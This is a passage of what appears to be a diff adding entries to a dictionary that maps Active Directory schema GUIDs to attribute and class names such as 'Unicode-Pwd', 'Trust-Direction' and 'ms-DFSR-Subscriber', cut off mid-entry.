'6db69a1c-9422-11d1-aebd-0000f80367c1': 'Terminal-Server', + '86284c08-0c6e-1540-8b15-75147d23d20d': 'ms-DS-Ingress-Claims-Transformation-Policy', + 'fa85c591-197f-477e-83bd-ea5a43df2239': 'ms-DFSR-LocalSettings', + '281416db-1968-11d0-a28f-00aa003049e2': 'COM-Treat-As-Class-Id', + 'bf9679b7-0de6-11d0-a285-00aa003049e2': 'MAPI-ID', + '85e5a5cf-dcee-4075-9cfd-ac9db6a2f245': 'ms-FVE-VolumeGuid', + 'ddac0cf3-af8f-11d0-afeb-00c04fd930c9': 'OMT-Guid', + 'f0f8ffa7-1191-11d0-a060-00aa006c33ed': 'Text-Country', + 'c137427e-9a73-b040-9190-1b095bb43288': 'ms-DS-Egress-Claims-Transformation-Policy', + 'ea715d30-8f53-40d0-bd1e-6109186d782c': 'ms-FVE-RecoveryInformation', + '281416de-1968-11d0-a28f-00aa003049e2': 'COM-Typelib-Id', + 'bf9679b9-0de6-11d0-a285-00aa003049e2': 'Marshalled-Interface', + '1fd55ea8-88a7-47dc-8129-0daa97186a54': 'ms-FVE-KeyPackage', + '1f0075fa-7e40-11d0-afd6-00c04fd930c9': 'OMT-Indx-Guid', + 'a8df7489-c5ea-11d1-bbcb-0080c76670c0': 'Text-Encoded-OR-Address', + 'd5006229-9913-2242-8b17-83761d1e0e5b': 'ms-DS-TDO-Egress-BL', + 'e11505d7-92c4-43e7-bf5c-295832ffc896': 'ms-DFSR-Subscriber', + '281416da-1968-11d0-a28f-00aa003049e2': 'COM-Unique-LIBID', + 'e48e64e0-12c9-11d3-9102-00c04fd91ab1': 'Mastered-By', + 'f76909bc-e678-47a0-b0b3-f86a0044c06d': 'ms-FVE-RecoveryGuid', + '3e978925-8c01-11d0-afda-00c04fd930c9': 'Operating-System', + 'ddac0cf1-af8f-11d0-afeb-00c04fd930c9': 'Time-Refresh', + '5a5661a1-97c6-544b-8056-e430fe7bc554': 'ms-DS-TDO-Ingress-BL', + '25173408-04ca-40e8-865e-3f9ce9bf1bd3': 'ms-DFS-Deleted-Link-v2', + 'bf96793e-0de6-11d0-a285-00aa003049e2': 'Comment', + 'bf9679bb-0de6-11d0-a285-00aa003049e2': 'Max-Pwd-Age', + 'aa4e1a6d-550d-4e05-8c35-4afcb917a9fe': 'ms-TPM-OwnerInformation', + 'bd951b3c-9c96-11d0-afdd-00c04fd930c9': 'Operating-System-Hotfix', + 'ddac0cf0-af8f-11d0-afeb-00c04fd930c9': 'Time-Vol-Change', + '0bb49a10-536b-bc4d-a273-0bab0dd4bd10': 'ms-DS-Transformation-Rules-Compiled', + '67212414-7bcc-4609-87e0-088dad8abdee': 'ms-DFSR-Subscription', + 'bf96793f-0de6-11d0-a285-00aa003049e2': 'Common-Name', + 'bf9679bc-0de6-11d0-a285-00aa003049e2': 'Max-Renew-Age', + '0e0d0938-2658-4580-a9f6-7a0ac7b566cb': 'ms-ieee-80211-Data', + '3e978927-8c01-11d0-afda-00c04fd930c9': 'Operating-System-Service-Pack', + 'bf967a55-0de6-11d0-a285-00aa003049e2': 'Title', + '693f2006-5764-3d4a-8439-58f04aab4b59': 'ms-DS-Applies-To-Resource-Types', + '7769fb7a-1159-4e96-9ccd-68bc487073eb': 'ms-DFS-Link-v2', + 'f0f8ff88-1191-11d0-a060-00aa006c33ed': 'Company', + 'bf9679bd-0de6-11d0-a285-00aa003049e2': 'Max-Storage', + '6558b180-35da-4efe-beed-521f8f48cafb': 'ms-ieee-80211-Data-Type', + '3e978926-8c01-11d0-afda-00c04fd930c9': 'Operating-System-Version', + '16c3a860-1273-11d0-a060-00aa006c33ed': 'Tombstone-Lifetime', + '24977c8c-c1b7-3340-b4f6-2b375eb711d7': 'ms-DS-RID-Pool-Allocation-Enabled', + '7b35dbad-b3ec-486a-aad4-2fec9d6ea6f6': 'ms-DFSR-GlobalSettings', + 'bf967943-0de6-11d0-a285-00aa003049e2': 'Content-Indexing-Allowed', + 'bf9679be-0de6-11d0-a285-00aa003049e2': 'Max-Ticket-Age', + '7f73ef75-14c9-4c23-81de-dd07a06f9e8b': 'ms-ieee-80211-ID', + 'bf9679ee-0de6-11d0-a285-00aa003049e2': 'Operator-Count', + 'c1dc867c-a261-11d1-b606-0000f80367c1': 'Transport-Address-Attribute', + '9709eaaf-49da-4db2-908a-0446e5eab844': 'ms-DS-cloudExtensionAttribute1', + 'da73a085-6e64-4d61-b064-015d04164795': 'ms-DFS-Namespace-Anchor', + '4d8601ee-ac85-11d0-afe3-00c04fd930c9': 'Context-Menu', + 'bf9679bf-0de6-11d0-a285-00aa003049e2': 'May-Contain', + '8a5c99e9-2230-46eb-b8e8-e59d712eb9ee': 'ms-IIS-FTP-Dir', + '963d274d-48be-11d1-a9c3-0000f80367c1': 'Option-Description', + '26d97372-6070-11d1-a9c6-0000f80367c1': 'Transport-DLL-Name', + 'f34ee0ac-c0c1-4ba9-82c9-1a90752f16a5': 'ms-DS-cloudExtensionAttribute2', + '1c332fe0-0c2a-4f32-afca-23c5e45a9e77': 'ms-DFSR-ReplicationGroup', + '6da8a4fc-0e52-11d0-a286-00aa003049e2': 'Control-Access-Rights', + '11b6cc8b-48c4-11d1-a9c3-0000f80367c1': 'meetingAdvertiseScope', + '2a7827a4-1483-49a5-9d84-52e3812156b4': 'ms-IIS-FTP-Root', + '19195a53-6da0-11d0-afd3-00c04fd930c9': 'Options', + '26d97374-6070-11d1-a9c6-0000f80367c1': 'Transport-Type', + '82f6c81a-fada-4a0d-b0f7-706d46838eb5': 'ms-DS-cloudExtensionAttribute3', + '21cb8628-f3c3-4bbf-bff6-060b2d8f299a': 'ms-DFS-Namespace-v2', + 'bf967944-0de6-11d0-a285-00aa003049e2': 'Cost', + '11b6cc83-48c4-11d1-a9c3-0000f80367c1': 'meetingApplication', + '51583ce9-94fa-4b12-b990-304c35b18595': 'ms-Imaging-PSP-Identifier', + '963d274e-48be-11d1-a9c3-0000f80367c1': 'Options-Location', + '8fd044e3-771f-11d1-aeae-0000f80367c1': 'Treat-As-Leaf', + '9cbf3437-4e6e-485b-b291-22b02554273f': 'ms-DS-cloudExtensionAttribute4', + '64759b35-d3a1-42e4-b5f1-a3de162109b3': 'ms-DFSR-Content', + '508ca374-a511-4e4e-9f4f-856f61a6b7e4': 'Address-Book-Roots2', + '5fd42471-1262-11d0-a060-00aa006c33ed': 'Country-Code', + '11b6cc92-48c4-11d1-a9c3-0000f80367c1': 'meetingBandwidth', + '7b6760ae-d6ed-44a6-b6be-9de62c09ec67': 'ms-Imaging-PSP-String', + 'bf9679ef-0de6-11d0-a285-00aa003049e2': 'Organization-Name', + '28630ebd-41d5-11d1-a9c1-0000f80367c1': 'Tree-Name', + '2915e85b-e347-4852-aabb-22e5a651c864': 'ms-DS-cloudExtensionAttribute5', + '4898f63d-4112-477c-8826-3ca00bd8277d': 'Global-Address-List2', + 'bf967945-0de6-11d0-a285-00aa003049e2': 'Country-Name', + '11b6cc93-48c4-11d1-a9c3-0000f80367c1': 'meetingBlob', + '35697062-1eaf-448b-ac1e-388e0be4fdee': 'ms-net-ieee-80211-GP-PolicyGUID', + 'bf9679f0-0de6-11d0-a285-00aa003049e2': 'Organizational-Unit-Name', + '80a67e5a-9f22-11d0-afdd-00c04fd930c9': 'Trust-Attributes', + '60452679-28e1-4bec-ace3-712833361456': 'ms-DS-cloudExtensionAttribute6', + '4937f40d-a6dc-4d48-97ca-06e5fbfd3f16': 'ms-DFSR-ContentSet', + 'b1cba91a-0682-4362-a659-153e201ef069': 'Template-Roots2', + '2b09958a-8931-11d1-aebc-0000f80367c1': 'Create-Dialog', + '11b6cc87-48c4-11d1-a9c3-0000f80367c1': 'meetingContactInfo', + '9c1495a5-4d76-468e-991e-1433b0a67855': 'ms-net-ieee-80211-GP-PolicyData', + '28596019-7349-4d2f-adff-5a629961f942': 'organizationalStatus', + 'bf967a59-0de6-11d0-a285-00aa003049e2': 'Trust-Auth-Incoming', + '4a7c1319-e34e-40c2-9d00-60ff7890f207': 'ms-DS-cloudExtensionAttribute7', + '2df90d73-009f-11d2-aa4c-00c04fd7d83a': 'Create-Time-Stamp', + '11b6cc7e-48c4-11d1-a9c3-0000f80367c1': 'meetingDescription', + '0f69c62e-088e-4ff5-a53a-e923cec07c0a': 'ms-net-ieee-80211-GP-PolicyReserved', + '5fd424ce-1262-11d0-a060-00aa006c33ed': 'Original-Display-Table', + 'bf967a5f-0de6-11d0-a285-00aa003049e2': 'Trust-Auth-Outgoing', + '3cd1c514-8449-44ca-81c0-021781800d2a': 'ms-DS-cloudExtensionAttribute8', + '04828aa9-6e42-4e80-b962-e2fe00754d17': 'ms-DFSR-Topology', + 'b8442f58-c490-4487-8a9d-d80b883271ad': 'ms-DS-Claim-Type-Property-Base', + '2b09958b-8931-11d1-aebc-0000f80367c1': 'Create-Wizard-Ext', + '11b6cc91-48c4-11d1-a9c3-0000f80367c1': 'meetingEndTime', + '94a7b05a-b8b2-4f59-9c25-39e69baa1684': 'ms-net-ieee-8023-GP-PolicyGUID', + '5fd424cf-1262-11d0-a060-00aa006c33ed': 'Original-Display-Table-MSDOS', + 'bf967a5c-0de6-11d0-a285-00aa003049e2': 'Trust-Direction', + '0a63e12c-3040-4441-ae26-cd95af0d247e': 'ms-DS-cloudExtensionAttribute9', + 'bf967946-0de6-11d0-a285-00aa003049e2': 'Creation-Time', + '11b6cc7c-48c4-11d1-a9c3-0000f80367c1': 'meetingID', + '8398948b-7457-4d91-bd4d-8d7ed669c9f7': 'ms-net-ieee-8023-GP-PolicyData', + 'bf9679f1-0de6-11d0-a285-00aa003049e2': 'Other-Login-Workstations', + 'b000ea7a-a086-11d0-afdd-00c04fd930c9': 'Trust-Parent', + '670afcb3-13bd-47fc-90b3-0a527ed81ab7': 'ms-DS-cloudExtensionAttribute10', + '4229c897-c211-437c-a5ae-dbf705b696e5': 'ms-DFSR-Member', + '36093235-c715-4821-ab6a-b56fb2805a58': 'ms-DS-Claim-Types', + '4d8601ed-ac85-11d0-afe3-00c04fd930c9': 'Creation-Wizard', + '11b6cc89-48c4-11d1-a9c3-0000f80367c1': 'meetingIP', + 'd3c527c7-2606-4deb-8cfd-18426feec8ce': 'ms-net-ieee-8023-GP-PolicyReserved', + '0296c123-40da-11d1-a9c0-0000f80367c1': 'Other-Mailbox', + 'bf967a5d-0de6-11d0-a285-00aa003049e2': 'Trust-Partner', + '9e9ebbc8-7da5-42a6-8925-244e12a56e24': 'ms-DS-cloudExtensionAttribute11', + '7bfdcb85-4807-11d1-a9c3-0000f80367c1': 'Creator', + '11b6cc8e-48c4-11d1-a9c3-0000f80367c1': 'meetingIsEncrypted', + '3164c36a-ba26-468c-8bda-c1e5cc256728': 'ms-PKI-Cert-Template-OID', + 'bf9679f2-0de6-11d0-a285-00aa003049e2': 'Other-Name', + 'bf967a5e-0de6-11d0-a285-00aa003049e2': 'Trust-Posix-Offset', + '3c01c43d-e10b-4fca-92b2-4cf615d5b09a': 'ms-DS-cloudExtensionAttribute12', + 'e58f972e-64b5-46ef-8d8b-bbc3e1897eab': 'ms-DFSR-Connection', + '7a4a4584-b350-478f-acd6-b4b852d82cc0': 'ms-DS-Resource-Properties', + '963d2737-48be-11d1-a9c3-0000f80367c1': 'CRL-Object', + '11b6cc7f-48c4-11d1-a9c3-0000f80367c1': 'meetingKeyword', + 'dbd90548-aa37-4202-9966-8c537ba5ce32': 'ms-PKI-Certificate-Application-Policy', + '1ea64e5d-ac0f-11d2-90df-00c04fd91ab1': 'Other-Well-Known-Objects', + 'bf967a60-0de6-11d0-a285-00aa003049e2': 'Trust-Type', + '28be464b-ab90-4b79-a6b0-df437431d036': 'ms-DS-cloudExtensionAttribute13', + '963d2731-48be-11d1-a9c3-0000f80367c1': 'CRL-Partitioned-Revocation-List', + '11b6cc84-48c4-11d1-a9c3-0000f80367c1': 'meetingLanguage', + 'ea1dddc4-60ff-416e-8cc0-17cee534bce7': 'ms-PKI-Certificate-Name-Flag', + 'bf9679f3-0de6-11d0-a285-00aa003049e2': 'Owner', + 'bf967a61-0de6-11d0-a285-00aa003049e2': 'UAS-Compat', + 'cebcb6ba-6e80-4927-8560-98feca086a9f': 'ms-DS-cloudExtensionAttribute14', + '7b9a2d92-b7eb-4382-9772-c3e0f9baaf94': 'ms-ieee-80211-Policy', + '81a3857c-5469-4d8f-aae6-c27699762604': 'ms-DS-Claim-Type', + '167757b2-47f3-11d1-a9c3-0000f80367c1': 'Cross-Certificate-Pair', + '11b6cc80-48c4-11d1-a9c3-0000f80367c1': 'meetingLocation', + '38942346-cc5b-424b-a7d8-6ffd12029c5f': 'ms-PKI-Certificate-Policy', + '7d6c0e99-7e20-11d0-afd6-00c04fd930c9': 'Package-Flags', + '0bb0fca0-1e89-429f-901a-1413894d9f59': 'uid', + 'aae4d537-8af0-4daa-9cc6-62eadb84ff03': 'ms-DS-cloudExtensionAttribute15', + '1f0075fe-7e40-11d0-afd6-00c04fd930c9': 'Curr-Machine-Id', + '11b6cc85-48c4-11d1-a9c3-0000f80367c1': 'meetingMaxParticipants', + 'b7ff5a38-0818-42b0-8110-d3d154c97f24': 'ms-PKI-Credential-Roaming-Tokens', + '7d6c0e98-7e20-11d0-afd6-00c04fd930c9': 'Package-Name', + 'bf967a64-0de6-11d0-a285-00aa003049e2': 'UNC-Name', + '9581215b-5196-4053-a11e-6ffcafc62c4d': 'ms-DS-cloudExtensionAttribute16', + 'a0ed2ac1-970c-4777-848e-ec63a0ec44fc': 'ms-Imaging-PSPs', + '5b283d5e-8404-4195-9339-8450188c501a': 'ms-DS-Resource-Property', + '1f0075fc-7e40-11d0-afd6-00c04fd930c9': 'Current-Location', + '11b6cc7d-48c4-11d1-a9c3-0000f80367c1': 'meetingName', + 'd15ef7d8-f226-46db-ae79-b34e560bd12c': 'ms-PKI-Enrollment-Flag', + '7d6c0e96-7e20-11d0-afd6-00c04fd930c9': 'Package-Type', + 'bf9679e1-0de6-11d0-a285-00aa003049e2': 'Unicode-Pwd', + '3d3c6dda-6be8-4229-967e-2ff5bb93b4ce': 'ms-DS-cloudExtensionAttribute17', + '963d273f-48be-11d1-a9c3-0000f80367c1': 'Current-Parent-CA', + '11b6cc86-48c4-11d1-a9c3-0000f80367c1': 'meetingOriginator', + 'f22bd38f-a1d0-4832-8b28-0331438886a6': 'ms-PKI-Enrollment-Servers', + '5245801b-ca6a-11d0-afff-0000f80367c1': 'Parent-CA', + 'ba0184c7-38c5-4bed-a526-75421470580c': 'uniqueIdentifier', + '88e73b34-0aa6-4469-9842-6eb01b32a5b5': 'ms-DS-cloudExtensionAttribute18', + '1f7c257c-b8a3-4525-82f8-11ccc7bee36e': 'ms-Imaging-PostScanProcess', + '72e3d47a-b342-4d45-8f56-baff803cabf9': 'ms-DS-Resource-Property-List', + 'bf967947-0de6-11d0-a285-00aa003049e2': 'Current-Value', + '11b6cc88-48c4-11d1-a9c3-0000f80367c1': 'meetingOwner', + 'e96a63f5-417f-46d3-be52-db7703c503df': 'ms-PKI-Minimal-Key-Size', + '963d2733-48be-11d1-a9c3-0000f80367c1': 'Parent-CA-Certificate-Chain', + '8f888726-f80a-44d7-b1ee-cb9df21392c8': 'uniqueMember', + '0975fe99-9607-468a-8e18-c800d3387395': 'ms-DS-cloudExtensionAttribute19', + 'bf96799c-0de6-11d0-a285-00aa003049e2': 'DBCS-Pwd', + '11b6cc81-48c4-11d1-a9c3-0000f80367c1': 'meetingProtocol', + '8c9e1288-5028-4f4f-a704-76d026f246ef': 'ms-PKI-OID-Attribute', + '2df90d74-009f-11d2-aa4c-00c04fd7d83a': 'Parent-GUID', + '50950839-cc4c-4491-863a-fcf942d684b7': 'unstructuredAddress', + 'f5446328-8b6e-498d-95a8-211748d5acdc': 'ms-DS-cloudExtensionAttribute20', + 'a16f33c7-7fd6-4828-9364-435138fda08d': 'ms-Print-ConnectionPolicy', + 'b72f862b-bb25-4d5d-aa51-62c59bdf90ae': 'ms-SPP-Activation-Objects-Container', + 'bf967948-0de6-11d0-a285-00aa003049e2': 'Default-Class-Store', + '11b6cc8d-48c4-11d1-a9c3-0000f80367c1': 'meetingRating', + '5f49940e-a79f-4a51-bb6f-3d446a54dc6b': 'ms-PKI-OID-CPS', + '28630ec0-41d5-11d1-a9c1-0000f80367c1': 'Partial-Attribute-Deletion-List', + '9c8ef177-41cf-45c9-9673-7716c0c8901b': 'unstructuredName', + '6b3d6fda-0893-43c4-89fb-1fb52a6616a9': 'ms-DS-Issuer-Certificates', + '720bc4e2-a54a-11d0-afdf-00c04fd930c9': 'Default-Group', + '11b6cc8f-48c4-11d1-a9c3-0000f80367c1': 'meetingRecurrence', + '7d59a816-bb05-4a72-971f-5c1331f67559': 'ms-PKI-OID-LocalizedName', + '19405b9e-3cfa-11d1-a9c0-0000f80367c1': 'Partial-Attribute-Set', + 'd9e18312-8939-11d1-aebc-0000f80367c1': 'Upgrade-Product-Code', + 'ca3286c2-1f64-4079-96bc-e62b610e730f': 'ms-DS-Registration-Quota', + '37cfd85c-6719-4ad8-8f9e-8678ba627563': 'ms-PKI-Enterprise-Oid', + '51a0e68c-0dc5-43ca-935d-c1c911bf2ee5': 'ms-SPP-Activation-Object', + 'b7b13116-b82e-11d0-afee-0000f80367c1': 'Default-Hiding-Value', + '11b6cc8a-48c4-11d1-a9c3-0000f80367c1': 'meetingScope', + '04c4da7a-e114-4e69-88de-e293f2d3b395': 'ms-PKI-OID-User-Notice', + '07383084-91df-11d1-aebc-0000f80367c1': 'Pek-Key-Change-Interval', + '032160bf-9824-11d1-aec0-0000f80367c1': 'UPN-Suffixes', + '0a5caa39-05e6-49ca-b808-025b936610e7': 'ms-DS-Maximum-Registration-Inactivity-Period', + 'bf96799f-0de6-11d0-a285-00aa003049e2': 'Default-Local-Policy-Object', + '11b6cc90-48c4-11d1-a9c3-0000f80367c1': 'meetingStartTime', + 'bab04ac2-0435-4709-9307-28380e7c7001': 'ms-PKI-Private-Key-Flag', + '07383083-91df-11d1-aebc-0000f80367c1': 'Pek-List', + 'bf967a68-0de6-11d0-a285-00aa003049e2': 'User-Account-Control', + 'e3fb56c8-5de8-45f5-b1b1-d2b6cd31e762': 'ms-DS-Device-Location', + '26ccf238-a08e-4b86-9a82-a8c9ac7ee5cb': 'ms-PKI-Key-Recovery-Agent', + 'e027a8bd-6456-45de-90a3-38593877ee74': 'ms-TPM-Information-Objects-Container', + '26d97367-6070-11d1-a9c6-0000f80367c1': 'Default-Object-Category', + '11b6cc82-48c4-11d1-a9c3-0000f80367c1': 'meetingType', + '0cd8711f-0afc-4926-a4b1-09b08d3d436c': 'ms-PKI-Site-Name', + '963d273c-48be-11d1-a9c3-0000f80367c1': 'Pending-CA-Certificates', + 'bf967a69-0de6-11d0-a285-00aa003049e2': 'User-Cert', + '617626e9-01eb-42cf-991f-ce617982237e': 'ms-DS-Registered-Owner', + '281416c8-1968-11d0-a28f-00aa003049e2': 'Default-Priority', + '11b6cc8c-48c4-11d1-a9c3-0000f80367c1': 'meetingURL', + '9de8ae7d-7a5b-421d-b5e4-061f79dfd5d7': 'ms-PKI-Supersede-Templates', + '963d273e-48be-11d1-a9c3-0000f80367c1': 'Pending-Parent-CA', + 'bf967a6a-0de6-11d0-a285-00aa003049e2': 'User-Comment', + '0449160c-5a8e-4fc8-b052-01c0f6e48f02': 'ms-DS-Registered-Users', + '05f6c878-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-SQLServer', + '85045b6a-47a6-4243-a7cc-6890701f662c': 'ms-TPM-Information-Object', + '807a6d30-1669-11d0-a064-00aa006c33ed': 'Default-Security-Descriptor', + 'bf9679c0-0de6-11d0-a285-00aa003049e2': 'Member', + '13f5236c-1884-46b1-b5d0-484e38990d58': 'ms-PKI-Template-Minor-Revision', + '5fd424d3-1262-11d0-a060-00aa006c33ed': 'Per-Msg-Dialog-Display-Table', + 'bf967a6d-0de6-11d0-a285-00aa003049e2': 'User-Parameters', + 'a34f983b-84c6-4f0c-9050-a3a14a1d35a4': 'ms-DS-Approximate-Last-Logon-Time-Stamp', + '167757b5-47f3-11d1-a9c3-0000f80367c1': 'Delta-Revocation-List', + '0296c122-40da-11d1-a9c0-0000f80367c1': 'MHS-OR-Address', + '0c15e9f5-491d-4594-918f-32813a091da9': 'ms-PKI-Template-Schema-Version', + '5fd424d4-1262-11d0-a060-00aa006c33ed': 'Per-Recip-Dialog-Display-Table', + 'bf967a6e-0de6-11d0-a285-00aa003049e2': 'User-Password', + '22a95c0e-1f83-4c82-94ce-bea688cfc871': 'ms-DS-Is-Enabled', + '0c7e18ea-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-OLAPServer', + 'ef2fc3ed-6e18-415b-99e4-3114a8cb124b': 'ms-DNS-Server-Settings', + 'bf96794f-0de6-11d0-a285-00aa003049e2': 'Department', + 'bf9679c2-0de6-11d0-a285-00aa003049e2': 'Min-Pwd-Age', + '3c91fbbf-4773-4ccd-a87b-85d53e7bcf6a': 'ms-PKI-RA-Application-Policies', + '16775858-47f3-11d1-a9c3-0000f80367c1': 'Personal-Title', + '11732a8a-e14d-4cc5-b92f-d93f51c6d8e4': 'userClass', + '100e454d-f3bb-4dcb-845f-8d5edc471c59': 'ms-DS-Device-OS-Type', + 'be9ef6ee-cbc7-4f22-b27b-96967e7ee585': 'departmentNumber', + 'bf9679c3-0de6-11d0-a285-00aa003049e2': 'Min-Pwd-Length', + 'd546ae22-0951-4d47-817e-1c9f96faad46': 'ms-PKI-RA-Policies', + '0296c11d-40da-11d1-a9c0-0000f80367c1': 'Phone-Fax-Other', + '23998ab5-70f8-4007-a4c1-a84a38311f9a': 'userPKCS12', + '70fb8c63-5fab-4504-ab9d-14b329a8a7f8': 'ms-DS-Device-OS-Version', + '11d43c5c-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-SQLRepository', + '555c21c3-a136-455a-9397-796bbd358e25': 'ms-Authz-Central-Access-Policies', + 'bf967950-0de6-11d0-a285-00aa003049e2': 'Description', + 'bf9679c4-0de6-11d0-a285-00aa003049e2': 'Min-Ticket-Age', + 'fe17e04b-937d-4f7e-8e0e-9292c8d5683e': 'ms-PKI-RA-Signature', + 'f0f8ffa2-1191-11d0-a060-00aa006c33ed': 'Phone-Home-Other', + '28630ebb-41d5-11d1-a9c1-0000f80367c1': 'User-Principal-Name', + '90615414-a2a0-4447-a993-53409599b74e': 'ms-DS-Device-Physical-IDs', + 'eea65906-8ac6-11d0-afda-00c04fd930c9': 'Desktop-Profile', + 'bf9679c5-0de6-11d0-a285-00aa003049e2': 'Modified-Count', + '6617e4ac-a2f1-43ab-b60c-11fbd1facf05': 'ms-PKI-RoamingTimeStamp', + 'f0f8ffa1-1191-11d0-a060-00aa006c33ed': 'Phone-Home-Primary', + '9a9a021f-4a5b-11d1-a9c3-0000f80367c1': 'User-Shared-Folder', + 'c30181c7-6342-41fb-b279-f7c566cbe0a7': 'ms-DS-Device-ID', + '17c2f64e-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-SQLPublication', + '99bb1b7a-606d-4f8b-800e-e15be554ca8d': 'ms-Authz-Central-Access-Rules', + '974c9a02-33fc-11d3-aa6e-00c04f8eedd8': 'msExch-Proxy-Gen-Options', + 'bf967951-0de6-11d0-a285-00aa003049e2': 'Destination-Indicator', + 'bf9679c6-0de6-11d0-a285-00aa003049e2': 'Modified-Count-At-Last-Prom', + 'b3f93023-9239-4f7c-b99c-6745d87adbc2': 'ms-PKI-DPAPIMasterKeys', + '4d146e4b-48d4-11d1-a9c3-0000f80367c1': 'Phone-Ip-Other', + '9a9a0220-4a5b-11d1-a9c3-0000f80367c1': 'User-Shared-Folder-Other', + 'ef65695a-f179-4e6a-93de-b01e06681cfb': 'ms-DS-Device-Object-Version', + '963d2750-48be-11d1-a9c3-0000f80367c1': 'dhcp-Classes', + '9a7ad94a-ca53-11d1-bbd0-0080c76670c0': 'Modify-Time-Stamp', + 'b8dfa744-31dc-4ef1-ac7c-84baf7ef9da7': 'ms-PKI-AccountCredentials', + '4d146e4a-48d4-11d1-a9c3-0000f80367c1': 'Phone-Ip-Primary', + 'e16a9db2-403c-11d1-a9c0-0000f80367c1': 'User-SMIME-Certificate', + '862166b6-c941-4727-9565-48bfff2941de': 'ms-DS-Is-Member-Of-DL-Transitive', + '1d08694a-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-SQLDatabase', + '5b4a06dc-251c-4edb-8813-0bdd71327226': 'ms-Authz-Central-Access-Rule', + '963d2741-48be-11d1-a9c3-0000f80367c1': 'dhcp-Flags', + 'bf9679c7-0de6-11d0-a285-00aa003049e2': 'Moniker', + 'f39b98ad-938d-11d1-aebd-0000f80367c1': 'ms-RRAS-Attribute', + '0296c11f-40da-11d1-a9c0-0000f80367c1': 'Phone-ISDN-Primary', + 'bf9679d7-0de6-11d0-a285-00aa003049e2': 'User-Workstations', + 'e215395b-9104-44d9-b894-399ec9e21dfc': 'ms-DS-Member-Transitive', + '963d2742-48be-11d1-a9c3-0000f80367c1': 'dhcp-Identification', + 'bf9679c8-0de6-11d0-a285-00aa003049e2': 'Moniker-Display-Name', + 'f39b98ac-938d-11d1-aebd-0000f80367c1': 'ms-RRAS-Vendor-Attribute-Entry', + '0296c11e-40da-11d1-a9c0-0000f80367c1': 'Phone-Mobile-Other', + 'bf967a6f-0de6-11d0-a285-00aa003049e2': 'USN-Changed', + 'b918fe7d-971a-f404-9e21-9261abec970b': 'ms-DS-Parent-Dist-Name', + '20af031a-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-OLAPDatabase', + 'a5679cb0-6f9d-432c-8b75-1e3e834f02aa': 'ms-Authz-Central-Access-Policy', + '963d2747-48be-11d1-a9c3-0000f80367c1': 'dhcp-Mask', + '1f2ac2c8-3b71-11d2-90cc-00c04fd91ab1': 'Move-Tree-State', + 'a6f24a23-d65c-4d65-a64f-35fb6873c2b9': 'ms-RADIUS-FramedInterfaceId', + 'f0f8ffa3-1191-11d0-a060-00aa006c33ed': 'Phone-Mobile-Primary', + 'bf967a70-0de6-11d0-a285-00aa003049e2': 'USN-Created', + '1e02d2ef-44ad-46b2-a67d-9fd18d780bca': 'ms-DS-Repl-Value-Meta-Data-Ext', + '963d2754-48be-11d1-a9c3-0000f80367c1': 'dhcp-MaxKey', + '998b10f7-aa1a-4364-b867-753d197fe670': 'ms-COM-DefaultPartitionLink', + 'a4da7289-92a3-42e5-b6b6-dad16d280ac9': 'ms-RADIUS-SavedFramedInterfaceId', + 'f0f8ffa5-1191-11d0-a060-00aa006c33ed': 'Phone-Office-Other', + 'bf967a71-0de6-11d0-a285-00aa003049e2': 'USN-DSA-Last-Obj-Removed', + '6055f766-202e-49cd-a8be-e52bb159edfb': 'ms-DS-Drs-Farm-ID', + '09f0506a-cd28-11d2-9993-0000f87a57d4': 'MS-SQL-OLAPCube', + '5ef243a8-2a25-45a6-8b73-08a71ae677ce': 'ms-Kds-Prov-ServerConfiguration', + '963d2744-48be-11d1-a9c3-0000f80367c1': 'dhcp-Obj-Description', + '430f678b-889f-41f2-9843-203b5a65572f': 'ms-COM-ObjectId', + 'f63ed610-d67c-494d-87be-cd1e24359a38': 'ms-RADIUS-FramedIpv6Prefix', + 'f0f8ffa4-1191-11d0-a060-00aa006c33ed': 'Phone-Pager-Other', + 'a8df7498-c5ea-11d1-bbcb-0080c76670c0': 'USN-Intersite', + 'b5f1edfe-b4d2-4076-ab0f-6148342b0bf6': 'ms-DS-Issuer-Public-Certificates', + '963d2743-48be-11d1-a9c3-0000f80367c1': 'dhcp-Obj-Name', + '09abac62-043f-4702-ac2b-6ca15eee5754': 'ms-COM-PartitionLink', + '0965a062-b1e1-403b-b48d-5c0eb0e952cc': 'ms-RADIUS-SavedFramedIpv6Prefix', + 'f0f8ffa6-1191-11d0-a060-00aa006c33ed': 'Phone-Pager-Primary', + 'bf967a73-0de6-11d0-a285-00aa003049e2': 'USN-Last-Obj-Rem', + '60686ace-6c27-43de-a4e5-f00c2f8d3309': 'ms-DS-IsManaged', + 'ca7b9735-4b2a-4e49-89c3-99025334dc94': 'ms-TAPI-Rt-Conference', + 'aa02fd41-17e0-4f18-8687-b2239649736b': 'ms-Kds-Prov-RootKey', + '963d274f-48be-11d1-a9c3-0000f80367c1': 'dhcp-Options', + '67f121dc-7d02-4c7d-82f5-9ad4c950ac34': 'ms-COM-PartitionSetLink', + '5a5aa804-3083-4863-94e5-018a79a22ec0': 'ms-RADIUS-FramedIpv6Route', + '9c979768-ba1a-4c08-9632-c6a5c1ed649a': 'photo', + '167758ad-47f3-11d1-a9c3-0000f80367c1': 'USN-Source', + '5315ba8e-958f-4b52-bd38-1349a304dd63': 'ms-DS-Cloud-IsManaged', + '963d2753-48be-11d1-a9c3-0000f80367c1': 'dhcp-Properties', + '9e6f3a4d-242c-4f37-b068-36b57f9fc852': 'ms-COM-UserLink', + '9666bb5c-df9d-4d41-b437-2eec7e27c9b3': 'ms-RADIUS-SavedFramedIpv6Route', + 'bf9679f7-0de6-11d0-a285-00aa003049e2': 'Physical-Delivery-Office-Name', + '4d2fa380-7f54-11d2-992a-0000f87a57d4': 'Valid-Accesses', + '78565e80-03d4-4fe3-afac-8c3bca2f3653': 'ms-DS-Cloud-Anchor', + '53ea1cb5-b704-4df9-818f-5cb4ec86cac1': 'ms-TAPI-Rt-Person', + '7b8b558a-93a5-4af7-adca-c017e67f1057': 'ms-DS-Group-Managed-Service-Account', + '963d2748-48be-11d1-a9c3-0000f80367c1': 'dhcp-Ranges', + '8e940c8a-e477-4367-b08d-ff2ff942dcd7': 'ms-COM-UserPartitionSetLink', + '3532dfd8-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Name', + 'b7b13119-b82e-11d0-afee-0000f80367c1': 